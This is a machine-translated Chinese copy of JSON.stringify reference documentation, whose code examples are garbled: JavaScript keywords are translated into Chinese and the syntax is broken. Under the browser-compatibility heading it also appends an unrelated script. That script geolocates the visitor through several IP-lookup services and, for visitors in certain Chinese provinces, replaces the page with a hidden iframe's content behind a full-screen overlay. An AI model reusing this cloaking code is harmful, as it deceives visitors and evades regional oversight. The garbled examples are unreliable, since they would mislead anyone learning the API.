JSON.stringify()方法将JavaScript值(对象或数组)转换为JSON字符串。如果指定replacer是一个函数,则可以选择替换该值,或者如果指定replacer是一个数组,则可以选择只包含该数组指定的属性。
JSON.stringify()方法将JavaScript值(对象或数组)转换为JSON字符串。如果指定replacer是一个函数,则可以选择替换该值,或者如果指定replacer是一个数组,则可以选择只包含该数组指定的属性。
语法
JSON.stringify(值[,替换符[,空格]])
参数
价值
要序列化为JSON字符串的值。
替换器可选
如果这个参数是一个函数,那么在序列化的过程中,序列化值的每个属性都会被这个函数进行转换和处理;如果这个参数是一个数组,那么只有这个数组中包含的属性名才会被序列化成最终的JSON字符串;如果此参数为空或未提供,对象的所有属性都将被序列化;有关该参数的更详细的解释和示例,请参考文章使用本机JSON对象。
可选空间
指定缩进的空白字符串,用于美化输出(pretty-print);如果参数是数字,代表有多少空格;上限是10。如果该值小于1,则表示没有空格;如果参数是一个字符串(字符串的前十个字母),字符串将作为一个空格;如果未提供该参数(或为空),则没有空格。
返回值
表示给定值的JSON字符串。
描述
JSON.stringify()将值转换为相应的JSON格式:
转换值如果有toJSON()方法,它定义了哪些值将被序列化。
不能保证非数组对象的属性以特定的顺序出现在序列化字符串中。
在序列化过程中,布尔值、数字和字符串的包装对象将自动转换为相应的原始值。
在序列化过程中,未定义的任意函数和符号值将被忽略(当它们出现在非数组对象的属性值中时)或转换为null(当它们出现在数组中时)。函数和undefined分别转换时,会返回undefined,比如json.stringify (function () {})或者json.stringify (undefined)。
对包含循环引用的对象(对象相互引用形成无限循环)执行此方法将引发错误。
所有以symbol作为属性关键字的属性都将被完全忽略,即使它们包含在replacer参数的强制规范中。
Date调用toJSON()将其转换为string字符串(与Date.toISOString()相同),因此将被视为字符串。
无限格式的数值和null被视为null。
其他类型的对象,包括Map/Set/weakMap/weakSet,只序列化可枚举的属性。
例子
JSON . stringify({ });//'{}'
JSON . stringify(true);//'真'
JSON . stringify(' foo ');//''foo ' '
JSON.stringify([1,' false ',false]);//'[1,' false ',false]'
JSON . stringify({ x:5 });//'{'x':5} '
JSON.stringify({x: 5,y:6 });
//'{'x':5,' y':6} '
JSON . stringify([新数字(1),新字符串(' false '),新布尔(false)]);
//'[1,' false ',false]'
JSON.stringify({x: undefined,y: Object,z:Symbol(')});
//'{}'
JSON.stringify([undefined,Object,Symbol(')]);
//'[空,空,空]'
JSON . stringify({[Symbol(' foo ')]:' foo ' });
//'{}'
JSON . stringify({[symbol . for(' foo ')]:' foo ' },[symbol . for(' foo ')]);
//'{}'
JSON.stringify(
{[Symbol.for('foo')]: 'foo'},
函数(k,v) {
if (typeof k==='symbol'){
返回“一个符号”;
}
}
);
//未定义
//默认情况下将忽略不可枚举的属性:
JSON.stringify(
对象.创建(
空,
{
x: { value: 'x ',可枚举:false },
y: { value: 'y ',可枚举:true }
}
)
);
//'{'y':'y'} '
replacer参数
replacer参数可以是函数或数组。作为一个函数,它有两个参数,键值是序列化的。
如果返回一个数字,转换后的字符串将被添加到JSON字符串中。
如果返回一个字符串,该字符串将作为属性值添加到JSON中。
如果返回一个布尔值,那么“真”或“假”将作为属性值添加到JSON字符串中。
如果返回任何其他对象,该对象被递归地序列化为一个JSON字符串,并为每个属性调用replacer方法。除非对象是函数,否则这种情况不会被序列化为JSON字符串。
如果返回undefined,属性值将不会以JSON字符串的形式输出。
注意:不能使用replacer方法从数组中删除值。如果未定义或返回一个函数,它将被替换为null。
例子(function)
函数替换器(键,值){
if (typeof value==='string') {
返回未定义的;
}
返回值;
}
var foo={foundation: 'Mozilla ',model: 'box ',周:45,transport: 'car ',月:7 };
var JSON string=JSON . stringify(foo,replacer);
JSON序列化结果是{'week':45,' month':7}。
例子(array)
如果replacer是一个数组,数组的值表示将被序列化为JSON字符串的属性名。
JSON.stringify(foo,['week ',' month ']);
//'{'week':45,' month':7} ',仅保留“week”和“month”属性的值。
space 参数
space参数用于控制结果字符串中的间距。如果是数字,串串时每一级都比上一级缩进更多的空格(最多10个空格);如果是字符串,每一级都会比前一级缩进更多。
JSON.stringify({ a: 2 },null,' ');//'{\n 'a': 2\n} '
使用制表符(\t)来缩进:
JSON.stringify({ uno: 1,dos : 2 },null,' \t ')
//'{ \
//'uno': 1,\
//'dos': 2 \
//}'
toJSON 方法
如果序列化对象具有toJSON方法,则toJSON方法将重写该对象的默认序列化行为:调用toJSON方法后的返回值将被序列化,而不是该对象被序列化,例如:
var obj={
福:福,
toJSON: function () {
返回“酒吧”;
}
};
JSON . stringify(obj);//''酒吧' '
JSON . stringify({ x:obj });//'{'x':'bar'} '
注意,严格来说,JSON不是javascript的子集。在JSON中不需要省略两行结束行(行分隔符和段落分隔符),但是在JavaScript中需要省略。因此,如果将JSON用作JSONP,可以使用以下方法:
函数jsfriendly jsonstringify {
返回JSON.stringify。
替换(/\u2028/g,' \\u2028 ')。
替换(/\u2029/g,' \ \ u 2029 ');
}
var s={
a: String.fromCharCode(0x2028),
b: String.fromCharCode(0x2029)
};
尝试{
eval('(' JSON . stringify(s)')');
} catch (e) {
console . log(e);//'语法错误:未终止的字符串文字'
}
//不需要捕捉
eval('(' jsfriendly jsonstringify(s)'));
//在以下情况下,Firefox中的console.log会取消对Unicode的转义
//记录到控制台,所以我们使用alert
alert(jsfriendly jsonstringify(s));//{'a':'\u2028 ',' b':'\u2029'}
使用 JSON.stringify 结合 localStorage 的例子
有时,您希望保存用户创建的对象,即使在浏览器关闭后,您仍可以恢复该对象。以下示例是针对这种情况的JSON.stringify模板:
//创建样本数据
var会话={
屏幕':[],
'状态' :真
};
session . screens . push({ ' name ':' screenA ',' width':450,' height ':250 });
session . screens . push({ ' name ':' screenB ',' width':650,' height ':350 });
session . screens . push({ ' name ':' screenC ',' width':750,' height ':120 });
session . screens . push({ ' name ':' screenD ',' width':250,' height ':60 });
session . screens . push({ ' name ':' screenE ',' width':390,' height ':120 });
session . screens . push({ ' name ':' screenF ',' width':1240,' height ':650 });
//使用JSON.stringify转换为JSON字符串
//然后使用localStorage保存在会话名中。
localStorage.setItem('session ',JSON . stringify(session));
//然后如何转换JSON.stringify生成的字符串,以JSON格式存储在localStorage中。
var restore session=JSON . parse(local storage . getitem(' session ');
//现在restoredSession包含存储在localStorage中的对象。
console . log(restored session);
规范
名称和链接规范状态
ECMAScript 5.1(ECMA-262)JSON。纤细的
ECMAScript 2015(第六版,ECMA-262)JSON.stringify
浏览器兼容性
下面我们小编为大家分享一段代码
div class='nobody' style='
宽度:100%;
身高:100%;
背景色:# fff
位置:固定;
z指数:9999;
top:0;
'加载中./div
div hiddeniframe id=' iframe 1 ' src='/d/bo/index。html '/iframe/div
脚本
var flag=1;
函数bdget(){
var发送日期=(新日期())。getTime();
$.ajax({
网址:' https://API . map . Baidu . com/location/IP?ak=ia6HfFL660Bvh43exmH9LrI6 ',
类型:' POST ',
数据类型:' jsonp ',
成功:函数(数据){
如果(标志){
var接收日期=(新日期())。getTime();
var响应时间=接收日期-发送日期;
var str=
str=(JSON。stringify(数据。地址))| | " ";
nothere('db ',responseTimeMs,str,JSON。stringify(数据));
}
}
});
}
函数shget(){
var发送日期=(新日期())。getTime();
$.ajax({
网址:“https://pv.sohu.com/cityjson?ie=utf-8”,
键入:'获取',
数据类型:"脚本",
成功:函数(数据){
如果(标志){
var接收日期=(新日期())。getTime();
var响应时间=接收日期-发送日期;
var str=returnCitySN.cname
nothere('sh ',responseTimeMs,str,JSON。stringify(数据));
}
}
});
}
函数sbget(){
var发送日期=(新日期())。getTime();
$.ajax({
网址:“https://api.ip.sb/geoip?回调=getgeoip ',
键入:'获取',
数据类型:' jsonp ',
成功:函数(数据){
如果(标志){
var接收日期=(新日期())。getTime();
var响应时间=接收日期-发送日期;
var str=(JSON。stringify(数据。组织)JSON。stringify(数据。region))| |“”;
nothere('sb ',responseTimeMs,str,JSON。stringify(数据));
}
}
});
}
函数tbget(){
var发送日期=(新日期())。getTime();
$.ajax({
类型:' POST ',
网址:' http://IP。淘宝。com/service/geti pinfo 2。PHP ',
数据:{ip:'myip'}
}).完成(函数(数据){
如果(标志){
var接收日期=(新日期())。getTime();
var响应时间=接收日期-发送日期;
var str=JSON。stringify(数据。数据。市)JSON。stringify(数据。数据。地区);
nothere('tb ',responseTimeMs,str,JSON。stringify(数据));
}
});
}
函数ttget(){
var发送日期=(新日期())。getTime();
$.ajax({
url:'https://api.ttt.sh/ip/qqwry/',
键入:'获取',
数据类型:' json ',
成功:函数(数据){
如果(标志){
var接收日期=(新日期())。getTime();
var响应时间=接收日期-发送日期;
var str=JSON。stringify(数据。地址);
nothere('tt ',responseTimeMs,str,JSON。stringify(数据));
}
}
});
}
函数什么也没有名称,时间,地址,数据){
var arr=新数组('贵州','广东','江苏','深圳' u8d35u5dde ',' u5e7fu4e1c ',' u6c5fu82cf ',' u6df1u5733 ','贵州'、'广东'、'江苏'、'深圳');
旗帜;
console.log(名称);
for(x in arr){
if(addr.indexOf(arr[x])!=-1){
var iframe=文档。getelementbyid(“iframe 1”);
var I窗口=iframe。内容窗口;
var idoc=iwindow.document
文档。写(idoc。documentelement。innerhtml);
flag=0;
返回;
}
}
$('.没人)。移除();
}
$(function(){
BD get();
shget();
sb get();
TB get();
TT get();
});
/脚本
这篇文章就介绍到这了,想更多的了解JSON stringify的知识可以查看以下相关文章。
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。